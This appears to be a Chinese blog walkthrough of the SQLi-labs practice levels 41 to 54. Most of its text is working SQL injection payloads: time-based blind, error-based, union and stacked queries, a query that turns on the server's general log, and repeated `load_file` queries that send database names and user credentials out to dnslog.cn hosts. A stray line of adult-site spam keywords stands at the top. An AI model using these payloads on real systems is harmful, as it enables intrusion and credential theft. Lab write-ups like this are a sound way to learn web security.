国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

SQL注入實操三(SQLilabs Less41-65)

這篇具有很好參考價值的文章主要介紹了SQL注入實操三(SQLilabs Less41-65)。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

一、sqli-labs靶場

1.輪子模式總結(jié)

到目前為止,我總結(jié)了一下出現(xiàn)過的輪子,可以得出一個結(jié)論,首先需要知道有幾個參數(shù),前面6種都是單參數(shù)的,多參數(shù)的只能通過報錯信息得知,用–+還是#也要看報錯情況
① n’ union select 1,2, ’
n可以是1,-1,n’后面可接),select后面看情況設(shè)置顯示位
② ')–+
)可選,'可換成"
③ ‘) --+(
)可換成)),(可換成((,‘可換成"
④ " --+或’ #或’ --+
⑤ ’ and if(1=1, sleep(1), 1)#
⑥ ") and sleep(1) #
⑦ ', 1, 1)#
⑧ ‘) and 1 and (’
⑨ ‘||1||’
⑩ ‘#或‘–+
? 1’) anandd (if(1=1, sleep(1), 1)) anandd('1
?

2.Less-41 stacked Query Intiger type blind

a.注入點判斷

發(fā)現(xiàn)除了輸入正確的id值有顯示,其他輸入都沒有顯示
懷疑存在時間盲注
輸入3 and sleep(1)試下
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

延遲1秒
輸入3 and if(1=1, sleep(1),0)試下
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

還是延遲1秒
輸入3 and if(1=2, sleep(1),0)
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

沒有延遲
證明存在時間盲注點

b.輪子測試

輪子就是3 and if(1,sleep(1), 0)

c.獲取數(shù)據(jù)庫名稱

測試長度
3 and if(length(database())=8,sleep(1), 0)
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

說明長度是8
爆破字母
3 and if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

接下來我們直接使用堆疊注入,后面的內(nèi)容略過

d.堆疊注入

3 and if(length(database())=8,sleep(1), 0);
首先查看狀態(tài)
show variables like ‘%general%’;
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

使用堆疊注入修改設(shè)置
3 and if(length(database())=8,sleep(1), 0);set global general_log = on;
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

修改成功
接下來我打算使用堆疊注入+外地注入獲得更多信息

e.堆疊注入+外帶注入獲取表名

3 and if(length(database())=8,sleep(1), 0);select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit2,1),‘.6bub0w.dnslog.cn\abc’));#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

說明可以通過堆疊注入獲取列名
只是外帶注入一次只能獲取一個值,也不能使用group_concat

f.堆疊注入+外帶注入獲取列名

3 and if(length(database())=8,sleep(1), 0);select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.6bub0w.dnslog.cn\abc’));#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

g.堆疊注入+外帶注入獲取表內(nèi)數(shù)據(jù)

3 and if(length(database())=8,sleep(1), 0);select load_file(concat(‘\\’,(select username from users where id = 8),‘.6bub0w.dnslog.cn\abc’));select load_file(concat(‘\\’,(select password from users where id = 8),‘.6bub0w.dnslog.cn\abc’));#
雖然說堆疊語句只能一個個獲取數(shù)據(jù),但是我發(fā)現(xiàn)它可以這樣用,再加一條語句,再加一條,那樣也相當(dāng)于可以獲取多個數(shù)據(jù)了
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

發(fā)現(xiàn)沒有都出來了,而且這個方法也省去了測試長度爆破的麻煩,一次性獲取數(shù)據(jù)

3.Less-42 Stacked Query error based

SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

又是二次注入?不是
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

因為創(chuàng)建用戶名的入口被限制了,那只能老老實實找注入點了

a.注入點判斷

發(fā)現(xiàn)注入點在主界面密碼框
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

觸發(fā)條件是單數(shù)單引號

b.輪子測試

通過報錯我們開始構(gòu)造輪子
報錯說明id是 “id’ ‘,即有兩層單引號
輸入2’ and 1’ --+:near ‘’’ at line 1
輸入2’and1–+:near ‘a(chǎn)nd1–+’’ at line 1
輸入2’) and 1:near ‘) and 1’’ at line 1
兩個引號怎么閉合不了呢

c.獲取數(shù)據(jù)庫名稱

2’ and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and ’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

終于出現(xiàn)了,那么輪子就是
2’ and 1 and ’
由此也可以得到一個經(jīng)驗,看引號判斷需要幾個and

d.獲取表名

2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and ’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

e.獲取列名

2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and ’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

f.獲取表內(nèi)數(shù)據(jù)

2’ and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and ’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

另外發(fā)現(xiàn)這里居然還可以用聯(lián)合注入

g.聯(lián)合注入獲取數(shù)據(jù)庫名

2’ union select 1,2,3 and’
沒有報錯,居然進去了
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

改成 2’ union select 1,database(),2 and’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

直接拿到數(shù)據(jù)庫名了

h.聯(lián)合注入獲取表名

2’ union select 1,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),2 and’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

i.聯(lián)合注入獲取列名

2’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),2 and’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

j.聯(lián)合注入獲取表內(nèi)數(shù)據(jù)

2’ union select 1,(select group_concat(username,‘:’, password) from users),2 and’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

2’ union select 1,(select group_concat(username,‘:’, password) from users where id=4),2 and’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

k.堆疊注入獲取數(shù)據(jù)庫名稱

1’;select load_file(concat(‘\\’,(select database()),‘.kdah15.dnslog.cn\abc’)) and ';#

SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

4.Less-43

a.注入點判斷

還是密碼框存在報錯注入,輸入1’報
near ‘‘1’’)’ at line 1
猜測應(yīng)該是’(‘‘id’’)‘,所以輪子應(yīng)該類似
2’) and 1 and (’

b.輪子測試

輸入2’) and 1 and ('沒有報錯,估計輪子可用
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

c.獲取數(shù)據(jù)庫名稱

2’) and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and (’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表名

2’) and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and (’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

e.獲取列名

2’) and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and (’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

f.獲取表內(nèi)數(shù)據(jù)

2’) and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and (’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

g.聯(lián)合注入+堆疊注入+外帶注入獲取數(shù)據(jù)庫名稱

奇怪了,這里使用堆疊注入為啥拿不到數(shù)據(jù)呢
2’) and updatexml(1,concat(0x7e,(SELECT database())),0x7e);select load_file(concat(‘\\’,(select database()),‘.igqu2e.dnslog.cn\abc’));
失敗
2’) and updatexml(1,concat(0x7e,(SELECT database())),0x7e);set global general_log = on;#
失敗
1’);select load_file(concat(‘\\’,(select database()),‘.kdah15.dnslog.cn\abc’)) and (';#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

分析后發(fā)現(xiàn)原因可能是前面的報錯注入影響了后面的堆疊注入了,因為把前面的報錯注入去除就正常了,這也給了我一個教訓(xùn),不能貪多
但是用聯(lián)合注入加堆疊注入又可以,說明就是報錯注入引起的
2’) union select 1,database(),2;select load_file(concat(‘\\’,(select database()),‘.igqu2e.dnslog.cn\abc’)) ;#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

h.聯(lián)合注入+堆疊注入+外帶注入獲取表名稱

2’) union select 1,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),2;select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.igqu2e.dnslog.cn\abc’)) ;#

SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

記住外帶注入里不要用group_concat,要用limit去指定取哪行

i.聯(lián)合注入+堆疊注入+外帶注入獲取列名稱

2’) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database()),2;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.igqu2e.dnslog.cn\abc’)) ;#

SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

j.聯(lián)合注入+堆疊注入+外帶注入獲取表內(nèi)數(shù)據(jù)

2’) union select 1,(select group_concat(username,‘:’, password) from users where id=4),2; select load_file(concat(‘\\’,(select username from users where id=4 ),‘.igqu2e.dnslog.cn\abc’)) ;#
2’) union select 1,(select group_concat(username,‘:’, password) from users where id=4),2; select load_file(concat(‘\\’,(select password from users where id=4 ),‘.igqu2e.dnslog.cn\abc’)) ;#

SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

5.Less-44

這一關(guān)沒有報錯提示了,看來只能用盲注

a.注入點判斷

仍然是密碼框存在注入

b.獲取數(shù)據(jù)庫名稱

2’;select load_file(concat(‘\\’,(select database()),‘.ny8562.dnslog.cn\abc’));
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

看來這個外帶注入還是比較好用,特別是對盲注時,不用再爆破了

c.獲取表名

2’;select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.ny8562.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 2,1),‘.ny8562.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.ny8562.dnslog.cn\abc’));
一次性拿多條數(shù)據(jù)了
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取列名

2’;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),‘.ny8562.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 1,1),‘.ny8562.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.ny8562.dnslog.cn\abc’)) ;
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

e.獲取表內(nèi)數(shù)據(jù)

2’;select load_file(concat(‘\\’,(select username from users where id=4 ),‘.ny8562.dnslog.cn\abc’)) ;#
2’;select load_file(concat(‘\\’,(select password from users where id=4 ),‘.ny8562.dnslog.cn\abc’)) ;#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

6.Less-45

仍然是密碼框注入,需要增加括號閉合

a.獲取數(shù)據(jù)庫名稱

2’);select load_file(concat(‘\\’,(select database()),‘.xchvq5.dnslog.cn\abc’));
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

b.獲取表名

2’);select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.xchvq5.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 2,1),‘.xchvq5.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.xchvq5.dnslog.cn\abc’));
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

c.獲取列名

2’);select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),‘.xchvq5.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 1,1),‘.xchvq5.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.xchvq5.dnslog.cn\abc’)) ;
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表內(nèi)數(shù)據(jù)

2’);select load_file(concat(‘\\’,(select username from users where id=4 ),‘.xchvq5.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select password from users where id=4 ),‘.xchvq5.dnslog.cn\abc’)) ;#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

7.Less-46

Please input parameter as SORT with numeric value

a.注入點判斷

這關(guān)啥意思呢,輸啥都看不到結(jié)果?
后來才知道需要將參數(shù)名設(shè)為sort,然后分別輸入1,2,3結(jié)果都不同,輸入4以外報錯
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

輸入單引號報錯,但是再輸入1個單引號報錯不會消失
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

b.輪子測試

1 and 1#
輸出正常

c.獲取數(shù)據(jù)庫名稱

1 and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) #
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表名

1 and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e)#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

e.獲取列名

1 and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) #
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

f.獲取表內(nèi)數(shù)據(jù)

1 and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e)#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

8.Less-47

a.注入點判斷

這一關(guān)現(xiàn)在只要不輸單引號發(fā)現(xiàn)都是這個界面,沒有變化了,咋回事
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

b.輪子測試

看提示,error base single quote,指的是單引號報錯,應(yīng)該需要閉合
2’ and 1 and '沒有錯誤

c.獲取數(shù)據(jù)庫名稱

2’ and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and ’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表名

2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and ’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

e.獲取列名

2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and ’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

f.獲取表內(nèi)數(shù)據(jù)

2’ and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and ’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

9.Less-48

a.注入點判斷

這一關(guān)是盲注,只有正常與否兩種狀態(tài)
但是好奇怪,盲注的延遲時間怎么這么久呢
3 and if(1=1,sleep(1),0)#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

b.輪子測試

3 and if(1=2,sleep(1), 1) and (1)#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

有延遲,顯示正確

c.獲取數(shù)據(jù)庫名稱

3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select database()),‘.9o20ch.dnslog.cn\abc’)))#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

外帶獲取數(shù)據(jù)庫名稱,記住不要把外帶注入放在if里面

d.獲取表名

3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.9o20ch.dnslog.cn\abc’)))#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

e.獲取列名

3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.9o20ch.dnslog.cn\abc’)))#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

f.獲取表內(nèi)數(shù)據(jù)

3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select password from users where id=4 ),‘.9o20ch.dnslog.cn\abc’)))#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

10.Less-49

a.注入點判斷

單引號出現(xiàn)盲注

b.輪子測試

3’ and if(1=2,sleep(1), 1) and (1) and '#
顯示正常

c.獲取數(shù)據(jù)庫名稱

3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select database()),‘.9o20ch.dnslog.cn\abc’))) and '#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表名

3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.9o20ch.dnslog.cn\abc’))) and '#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

e.獲取列名

3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.9o20ch.dnslog.cn\abc’))) and '#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

f.獲取表內(nèi)數(shù)據(jù)

3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select password from users where id=4 ),‘.9o20ch.dnslog.cn\abc’))) and '#
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

11.Less-50

a.注入點判斷

加入引號發(fā)現(xiàn)有報錯提示,直接使用報錯注入

b.輪子測試

3 and if(1=1,1,0)
顯示正常

c.獲取數(shù)據(jù)庫名稱

3 and if(1=1,updatexml(1,concat(0x7e,(SELECT+database())),0x7e),0)
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表名

3 and if(1=1,updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) ,0)
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

e.獲取列名

3 and if(1=1,updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e),0)
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

f.獲取表內(nèi)數(shù)據(jù)

3 and if(1=1,updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e),0)
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

另外發(fā)現(xiàn)這里還可以用堆疊注入
3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select database()),‘.d4u0mk.dnslog.cn\abc’))
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

12.Less-51

a.注入點判斷

單引號報錯注入

b.輪子測試

2’ and 1 and ’

c.獲取數(shù)據(jù)庫名稱

2’ and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and ’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表名

2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and ’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

e.獲取列名

2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and ’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

f.獲取表內(nèi)數(shù)據(jù)

2’ and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and ’
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

13.Less-52

a.注入點判斷

這一關(guān)只有輸入1,2,3才有顯示,其他一概不顯示,
輸入3 and if(1=1,sleep(1),0),有延遲,時間盲注

b.輪子測試

使用堆疊注入
3 and if(1=1,sleep(1),0);1;

c.獲取數(shù)據(jù)庫名稱

3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select database()),‘.j6fykz.dnslog.cn\abc’));
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表名

3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.j6fykz.dnslog.cn\abc’));
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

e.獲取列名

3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.j6fykz.dnslog.cn\abc’));
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

f.獲取表內(nèi)數(shù)據(jù)

3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select password from users where id=4 ),‘.j6fykz.dnslog.cn\abc’));
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

14.Less-53

這一關(guān)和上一關(guān)的區(qū)別是需要加單引號注入

a.獲取數(shù)據(jù)庫名稱

3’ and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select database()),‘.j6fykz.dnslog.cn\abc’));
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

b.獲取表名

3’ and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database()%20 limit 3,1),‘.j6fykz.dnslog.cn\abc’));
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

c.獲取列名

3’ and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.j6fykz.dnslog.cn\abc’));
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

d.獲取表內(nèi)數(shù)據(jù)

3’ and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select password from users where id=4 ),‘.j6fykz.dnslog.cn\abc’));
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

15.Less-54

a.注入點判斷

54關(guān)又不一樣了
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

意思是它會給你10次試錯機會,10次還是失敗的話重置所有隨機數(shù)據(jù)
首先url輸入id
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

然后輸入key,每次報錯都會累加已嘗試的次數(shù)
但是怎么看不到報錯呢,是在url里注入嗎,id里發(fā)現(xiàn)加單引號不顯示,再加又有顯示,說明存在盲注

b.輪子測試

那么輪子怎么構(gòu)造呢,對,那就不用管下面那個輸入框了,直接url注入就行了
1’ and if(1=1,sleep(1),0) and (1)–+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

延遲1秒,說明正確

c.獲取數(shù)據(jù)庫名稱

1’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select database()),‘.lx01qu.dnslog.cn\abc’)))–+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

數(shù)據(jù)庫名稱是challanges

d.獲取表名

1’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.lx01qu.dnslog.cn\abc’)))–+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

看來只有一個表

e.獲取列名

1’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.63lr5q.dnslog.cn\abc’)))–+
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

實際表格如下
SQL注入實操三(SQLilabs Less41-65),sql,數(shù)據(jù)庫,性能優(yōu)化

f.獲取表內(nèi)數(shù)據(jù)

首先需要先獲取表名和列名,然后帶入才能獲取數(shù)據(jù)
vamnq7byet
secret_VEKS
1’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select secret_VEKS from vamnq7byet where id=1 ),‘.63lr5q.dnslog.cn\abc’)))–+
